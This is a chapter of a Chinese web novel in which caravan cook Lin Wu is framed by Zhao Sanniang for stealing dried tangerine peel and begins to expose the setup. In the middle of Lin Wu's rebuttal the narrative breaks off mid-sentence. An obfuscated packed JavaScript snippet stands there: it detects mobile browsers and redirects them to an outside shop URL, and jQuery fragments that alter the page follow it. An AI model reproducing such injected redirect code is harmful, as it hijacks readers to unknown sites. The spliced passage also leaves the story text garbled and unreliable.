锦程行的营地粥香四溢，热气腾腾，在秋日清寒的早晨显得尤为温暖。


    林芜站在大锅旁，为排队的伙计们分粥，神色平静，仿佛昨夜的风波未曾发生。


    赵三娘牵着女儿，远远望着林芜忙碌却从容的身影，神色复杂难辨。


    “娘，那个姨姨做的粥好香，暖暖的。”她身边面色有些苍白的女童扯着她的袖口，小声说道。


    赵三娘猛地攥紧了女儿的手，低声喃喃：“过几日咱们也能吃到，过几日，再过几日便好。”


    与此同时，林景像条灵活的小鱼，悄无声息地在人群中穿梭，找到了正埋头吃粥的小赵。


    小赵见是林景，把嘴里那口粥咽了下去，问：“咋了？小景娘，没吃饱？”


    林景不说话，只板着一张小脸，神情严肃地朝他勾了勾手指。


    小赵被他这副小模样逗乐了，笑嘻嘻侧耳过去：“嘿，我的粥可不分你，让你娘给你开小灶去。”


    林景立刻凑到他耳边，嘀嘀咕咕说了一通。


    随着林景的讲述，小赵眉头一蹙，脸上的嬉笑渐渐褪去：“怎么就没个消停。”


    他两三口将碗里剩余的粥扒拉干净，随即拍了拍林景的肩膀，低声道：“别怕，这事交给我。回去告诉你娘，放宽心，我心里有数了。”说罢，他放好碗，起身径直朝着张管事车厢的方向快步走去。


    朝食过后，商队收好行装，继续前行。天气晴朗，路途平稳，前方的凌州已不远。


    晌午歇脚时，小赵悠闲地在营地各处晃悠，双眼却不着痕迹地扫视着。


    “小赵哥，您今儿怎么巡起逻来了？把兄弟们的饭碗都给抢啦？”一个相熟的护卫笑着打趣。


    “嗐，别提了！后厨那饼子做得太实在，吃撑了，来溜达溜达，消消食。”小赵摸着肚子，笑嘻嘻地回应。


    “别说，这趟走下来，咱们的嘴都快被厨娘养刁了。想想往后怕是没这口福喽，心里还真不是滋味。”


    “这话要是让帮厨师傅和还在乌仓县养病的厨娘知道，你小子往后就等着顿顿吃猪食吧！”


    “林厨娘手艺是真没得说，但愿帮厨师傅这几日偷师学了一两手！”


    “得了吧，照你这么说，两位厨娘要知道这趟还得把拿手绝活抖露出去，下回见着咱们商队，怕是要绕道走咯！”


    几人正说笑间，赵三娘抱着咳嗽不止的女儿，在人群中左右张望，终于找准时机，朝着小赵这边走了过来。


    小赵眼角的余光早已瞥见她，心中暗道一声：“来了！”


    他面上却不显，待人走到跟前，还热心地问：“嫂子，您找我啊？”


    赵三娘未语泪先流，声音带着哭腔：“这位小哥，求您行行好，救救我女儿吧！她这不是寻常咳嗽，是寒痰闭肺的老毛病犯了，这会儿喘不上气，眼瞅着要背过气去了……”


    “哎呀，嫂子，您这是病急乱找人，”小赵急忙出声，“我不是大夫啊。”


    “小哥，我知道的。昨日那事之后，我也瞧出来了，您在管事面前是说得上话的。我实在是没法子了，才厚着脸皮来求您。”赵三娘一边轻拍着女儿后背给她顺气，一边说着。


    “从前京里大夫特意交代过，她这病急起来若没药，最稳妥的法子就是用年份足品质好的陈皮，配上老姜、粳米熬成粥，最能温化寒痰、理气平喘。只求您帮忙看看锦程行是否有这上好的陈皮，我愿意花钱买，只求给孩子救急！”


    小赵顿时惊讶道：“哟，嫂子您还真是问对人了！您怎么就知道我们商队备着好陈皮呢？”


    赵三娘脸上一喜，像是抓住了救命稻草，急忙解释：“我也是没法子了，想着锦程行这般大的家业，后厨用料讲究，兴许会备着这些。没想到真让我问着了！”


    小赵老神在在地点了点头：“不瞒您说，这东西我们确实备着些，既是给后厨调味增香，也供东家和管事们偶尔泡茶润喉。不过，我做不了主，得先回禀管事一声才行。”


    “应当的，应当的！多谢小哥！”赵三娘连连道谢。


    不多时，小赵便领着负责采买的胡大叔回来了。


    “嫂子，这是咱们管库的胡大叔，商队里一应物品进出都归他管。”说着，他便带着赵三娘往那辆食材货车走去。


    胡大叔利落地翻进车厢，嘴里还念叨着：“我记得很清楚，陈皮就收在这香料柜里头……”


    赵三娘因着心急，也扒着车沿探头往里瞧。


    胡大叔很快就找到了，可仔细清点之后，脸色立刻变了：“少了一串！”


    “怎么会少了？”小赵眉头皱起，“胡叔，您是不是记岔了？”


    “不可能，”胡大叔斩钉截铁，“凡是贵重些的香料，取用必须经我手记账，绝无可能出差错！”


    赵三娘在一旁瞧着，也着急起来：“会不会是路上颠簸，从架子上震落，滚到哪个角落里去了？”


    胡大叔摇了摇头：“这般贵重干货不会随意摆放，都在单独的货柜装着，掉不出去。”


    “会不会是取旁的干货时，不小心碰到，掉出来了？”赵三娘说着，忽然吸了吸鼻子，“我在京中时，家里常备此物，对这味道再熟悉不过。您二位若信得过，容我上去帮着找找可行？我眼神还算利落，对这气味也敏感，兴许能寻到些踪迹。”


    小赵当即点头：“那真是再好不过，有劳嫂子！一串陈皮事小，可商队里物件无故短少却是大忌，必须弄个明白。”


    得到准许，赵三娘立刻利落地翻进车厢。


    她先是在货架四周仔细查看，鼻子不时轻嗅，又俯身在角落摸索。很快，她的目光锁定在车厢角落里那个毫不起眼的小包袱上，脚步也随之挪了过去。


    “这……”赵三娘蹲在车厢里，脸上有些迟疑。


    “嫂子，怎么样，可有发现？”小赵在车下扬声问道。


    赵三娘欲言又止，神色有些为难，没出声。


    “嫂子若有什么发现，但说无妨，查明东西去向要紧。”小赵语带催促。


    赵三娘深吸一口气，伸手指着那小包袱：“我、我闻到这小包袱里，透着一股陈皮香。”


    她顿了顿，又补充道：“应该错不了的，我对这味道再熟悉不过了。”


    “嫂子，您可确定？”小赵眉头紧锁，神色变得严肃。


    “这香气独特，我至少有八九分把握。”赵三娘语气笃定。


    小赵闻言，面色一沉，转向胡大叔：“胡叔，此事非同小可，您在此处守着，我去请管事和厨娘过来。”


    很快，相关人等都到齐了。


    一些在附近歇息的人，瞧着这边的动静，似是有热闹看，又三三两两地跟了过来。


    张管事面色沉静，目光落在两位厨娘身上，开门见山：“林娘子、李三娘，公中少了一串上等陈皮，需查验清楚。”


    林芜与李三娘闻言皆是一惊，面面相觑。围观的众人也是脸色皆变。


    林芜率先上前说道：“需如何查验，请管事吩咐。”


    李三娘也回过神来，连忙点头：“是是是，管事明鉴，我们每日取用食材都是有数的，帮厨的师傅和胡大叔都清楚，绝不敢胡来。”


    小赵抬手指着那灰扑扑的小包袱，声音里听不出半点情绪：“张管事，赵嫂子指称，这包袱里透着陈皮香气。依规矩，需开包查验。”


    李三娘一看那包袱，猛地转头，震惊地看向林芜，嘴唇动了动，终究没立刻出声。


    一片沉寂中，林芜先是看了一眼赵三娘，才上前半步，将那个包袱拿起：“回管事，这是我的包袱。”


    她目光坦然地迎向张管事：“我可对天发誓，自入商队以来，从未偷拿过后厨一针一线，更不曾动过分毫不属于自己的物件。”


    “是否清白，查过便知。”张管事语气平稳，却不容置疑。


    林芜神色如常，只将包袱递给胡大叔：“身正不怕影子斜，您查吧。”


    胡大叔上前，解开了小包袱。


    当几件旧衣物被挪开，一个用油纸仔细包裹的长条物赫然呈现。一揭开油纸，一串品相上佳的陈皮明晃晃映入所有人的眼帘。


    人赃并获！


    李三娘倒吸一口凉气，难以置信地看着林芜。


    张管事脸色倒是平静，目光移向林芜：“林娘子，你还有何话可说？”


    林芜神色却未见慌乱，只抬眼迎上张管事的视线，声音平静：“既是从我的包袱中翻出，我无可辩驳。只是心中尚有些疑惑，想请管事与诸位容我一问，也请大家一同思量。”


    张管事点了点头。


    林芜声音微微扬起，不高却清晰：“管事、胡大叔与后厨众人都清楚，商队的好陈皮是整批存放的。而我只是个临时厨娘，每日


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16926025|191476||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    用料皆需跟胡大叔登记领取。众人皆可作证，这几日膳食之中，可曾用过一片陈皮？”


    李三娘连忙摇头说道：“是是是，咱们这几日的餐食都未用过陈皮。”


    林芜颔首，继续道：“退一步来说，若我真有心偷窃，最稳妥的法子，应当是这几日应特意做些需用陈皮的餐食，再借着领取用料的机会，每回多拿一两片，细水长流，岂不更不易察觉？这样一次取走一整串，是生怕旁人发现不了么？”


    闻言，周围不少人面露思索，暗暗点头。


    林芜接着话锋一转，目光投向一旁的赵三娘：“再有便是，今日这桩事，起因是赵嫂子声称女儿病重，急需陈皮救命。性命攸关，本该心急如焚。可如今我瞧这孩子气息面色却已平稳不少，赵嫂子此刻似乎也并不着急煮药救人了？”


    大家也循着林芜的目光看向赵三娘母女俩，这会儿那孩子紧紧搂着赵三娘的大腿，看不到脸，可瞧着已无甚大碍。赵三娘脸色微白，一只手正不住地轻拍孩子后背，低声安抚。


    “多谢林娘子关心，”赵三娘稳住声气，勉强答道，“许是方才闻着这般好的陈皮香，孩子舒坦了不少。”


    林芜并未接她这话，而是继续问道：“此前赵嫂子曾寻我换炊饼，称是临时带孩子匆忙出门，没来得及置办家伙。这回却找商队单独借这陈皮来煮粥，想问赵嫂子您这会儿是有粳米也有锅灶了，就独独缺锦程行这一味陈皮了吗？


    更教人费解的是，锦程行货物众多，连胡大叔都要翻找半晌。你一个外人却能不偏不倚径直找到我的包袱上来？倒像是早知它藏在何处一般。”


    疑问直指赵三娘。


    众人的目光也齐刷刷地从林芜身上，转向赵三娘。


    赵三娘被问得身形一晃，眼眶瞬间就红了。


    她本就容貌秀气，此时泪目盈盈，更显楚楚可怜。


    “林娘子……您、您这又是何苦？”她声音哽咽，像是带着天大的委屈，“您自个儿行事不端，被人发现了，为何非要攀扯到我一个苦命人身上？”


    她一手将女儿紧紧搂向身侧，一手无助地按着心口：“莫不是瞧我们孤儿寡母，孩子又病弱，无依无靠，便觉着我们好欺负么”


    说到这里，她几乎要泣不成声，连连用手轻拍着胸口顺气，才勉强稳住话音继续道：“我不过是见小赵哥着急寻物，念着同是路上人，才好心帮着寻找。先前闻到味道，我心中也是万分犹豫，不敢轻易指认，就怕平白污了谁的名声。也是小赵哥一再保证查明便好，我、我这才……”


    她抬袖拭泪，声音颤抖，却仍强撑着维持条理：“林娘子要为自己辩白，理所应当。可您……您怎能空口白牙，硬将这样歹毒的罪名扣在我头上？


    是，您说的对，我赵三娘是外人，不可能知晓这陈皮究竟收在哪辆车的哪个角落，方才也是这位小哥和胡大叔领着我过来的。怎的到了您嘴里，竟成了我自个儿直直奔着您包袱去了？


    再有，诸位请想一想，这于情于理，说得通吗？我与林娘子不过是路上偶遇，萍水相逢，无冤无仇，我为何要煞费苦心，设下如此圈套来陷害您？这于我又有何好处？我图什么呢？”


    她说到这里，略微停顿，看向始终一言不发的张管事，声音哀戚：“至于熬粥的锅灶米粮，是，我此刻确实未曾备齐。但我晓得在这行商路上，米面易得，锅灶亦可借，唯独这年份足品质好的陈皮最为难寻。我想着，只要先求得这最紧要的一味药，其他的，哪怕是豁出脸面去挨家恳求，也总能想到法子凑齐。救我女儿的命，才是头等大事啊！”


    她这一番言辞恳切，也能自圆其说，众人觉得有理。


    “听着……倒也在理。”


    “是啊，救命要紧，哪能等万事齐备？”


    “她一个外人，怎知陈皮放在哪儿？”


    “无冤无仇的，何必害人？”


    就在众人窃窃私语之际，林芜平静地瞧了一眼此时已哭得似肝肠寸断的赵娘子，再次转向张管事，声音依旧平稳：“张管事明鉴，诸位也请听我一言。这串陈皮出现在我的包袱里，我是早已知晓的。”


    此言一出，大家皆是瞪圆了眼睛。


    一直紧紧挨在林芜腿边的林景，此刻也抬起头，眼中毫无惧意，小小的胸膛微微挺起。


    赵三娘的哭声也戛然而止，愕然地抬头望向她。